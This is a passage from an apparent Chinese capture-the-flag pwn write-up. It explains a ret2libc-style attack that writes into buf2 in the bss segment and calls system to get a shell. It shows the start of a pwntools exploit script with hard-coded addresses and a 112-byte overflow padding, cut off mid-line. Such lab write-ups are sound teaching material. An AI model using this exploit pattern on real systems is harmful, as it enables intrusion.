选择在 bss 段的 buf2 写入,再将 buf2 的地址作为 system 的参数传入来获取 shell gets 地址 gets system 地址 system exp #!/usr/bin/env python#-*- coding:utf-8 -*-frompwnimport*p=process('./ret2text3_32')gets=0x08048460system=0x08048490buf2=0x0804A080payload='A'*112payload+=p32(get...